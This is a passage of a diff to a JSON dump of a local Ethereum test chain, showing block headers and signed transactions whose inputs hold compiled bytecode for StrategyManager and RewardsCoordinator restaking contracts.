018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f000000000000000000000000000000000000000000000000000000000000000046036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220c44798d4ada1e90848e8d31a2c80c503dc1cf81f9a5671db1af6a45d97d3e5c364736f6c634300081b0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc90000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853", + "r": "0x3b375f089b698a0ec9f8338f724a981ba4efd5c00bb160f2b7d7bf8ea26ce7d2", + "s": "0x43abc463a1f360a6af4727230e57f2c5e382febaa45be57507566caa967dd894", + "yParity": "0x0", + "hash": "0x8fe2e7953d994e666b6891e094bbc314982ee6e160781be5861cc3cb63fbed4e" } }, "impersonated_sender": null @@ -1111,22 +1066,22 @@ }, { "header": { - "parentHash": "0x25351ea5ebb8f497a108031724791a9778be719cee871ae3168f014ac6ea87e3", + "parentHash": "0x295893bd9c3fe2aaca071a229013b74cbd0927da1c5718c2fd4686115f210f6b", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x23b147319ae337437e3c02e8cbad4bc7a5ecbcfecc5c55a70d9aa1df25b1fa03", - "transactionsRoot": "0xe79fc5ef0c818c2913467fac6fd8801ab8822c5572d659880264e005d298c91c", - "receiptsRoot": "0x34d63a3680b3802b85debef82a2c6989208e9ae96e9312085635ef5897eba086", + "stateRoot": "0x0cd20145c9a933fefcca4a0a93434a865a1dbbf101679af7994ab2ea26d51d09", + "transactionsRoot": "0x6e8d74b7df13ae3e00a8bce24c770c87566125a4a868208f7ca390b6ad6d8448", + "receiptsRoot": "0xc24b358bd8f01f0a27e9dfd990532cd0333f2a673ceef0dd1e1fbb4de37b200b", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000010000000000000000000000000000000000000000000000100000400000000004000000000000000000000400000002000001000010000010010000000000000000000000020000000000000100800808000004000000000000000000000000400000000100000000000000000000000000000800000080000000000000000000000000000000000000000000000400000000000000000008000000000000000000100020400000200000000000040000000000002228000000000000000020000000000000000000000000000000000000000001080000000100000000400000", + "logsBloom": "0x00000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000", "difficulty": "0x0", - "number": "0xd", + "number": "0xc", "gasLimit": "0x1c9c380", - "gasUsed": "0x32a44", - "timestamp": "0x67212bff", + "gasUsed": "0x320478", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0xfaf6f62", + "baseFeePerGas": "0x10862de1", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -1137,38 +1092,17 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x14", - "gas": "0x37899", - "maxFeePerGas": "0x77359401", - "maxPriorityFeePerGas": "0x1", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "value": "0x0", - "accessList": [], - "input": "0x9623609d000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c90000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd8200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "r": "0x7ab46d716e66c3eeb4a6ceb26eee70c1f5ef89a834687f21985a46fc77ec5e64", - "s": "0x390c491ccb1362f86e47b10cffd0ab9428bcd25ea1067311a11d8b4d997d0260", - "yParity": "0x1", - "hash": "0xfd0cd693bcd0f6192a593b8edcbcfd149e34e760aca4b512b7292d66dff4c2f8" - } - }, - "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0x15", - "gas": "0xe692", + "nonce": "0xf", + "gas": "0x4100b6", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", "accessList": [], - "input": "0x9623609d000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "r": "0x5f44cefb759d52a39147633a4bffe9cf3a873902abed2277084b63e9ef2ff757", - "s": "0x342c1e6c76de08e20423d316dd192a43702c63b8c2825043d3b0dcb69d70f5db", + "input": "0x61018060405234801561001157600080fd5b50604051613dc9380380613dc9833981016040819052610030916102d0565b86868686868686610041858261035b565b63ffffffff16156100e55760405162461bcd60e51b815260206004820152606060248201527f52657761726473436f6f7264696e61746f723a2047454e455349535f5245574160448201527f5244535f54494d455354414d50206d7573742062652061206d756c7469706c6560648201527f206f662043414c43554c4154494f4e5f494e54455256414c5f5345434f4e4453608482015260a4015b60405180910390fd5b6100f2620151808661035b565b63ffffffff16156101915760405162461bcd60e51b815260206004820152605760248201527f52657761726473436f6f7264696e61746f723a2043414c43554c4154494f4e5f60448201527f494e54455256414c5f5345434f4e4453206d7573742062652061206d756c746960648201527f706c65206f6620534e415053484f545f434144454e4345000000000000000000608482015260a4016100dc565b6001600160a01b0396871661012052949095166101405263ffffffff92831660805290821660a052811660c05291821660e05216610100526101d16101e3565b50504661016052506103919350505050565b600054610100900460ff161561024b5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100dc565b60005460ff908116101561029d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146102b457600080fd5b50565b805163ffffffff811681146102cb57600080fd5b919050565b600080600080600080600060e0888a0312156102eb57600080fd5b87516102f68161029f565b60208901519097506103078161029f565b9550610315604089016102b7565b9450610323606089016102b7565b9350610331608089016102b7565b925061033f60a089016102b7565b915061034d60c089016102b7565b905092959891949750929550565b600063ffffffff83168061037f57634e487b7160e01b600052601260045260246000fd5b8063ffffffff84160691505092915050565b60805160a05160c05160e051610100516101205161014051610160516139a2610427600039600061181f0152600081816104400152612295015260006106ec01526000818161035701526120c40152600081816102cb0152612170015260008181610419015261207301526000818161065e0152611dea01526000818161060401528181611ea10152611f7c01526139a26000f3fe608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692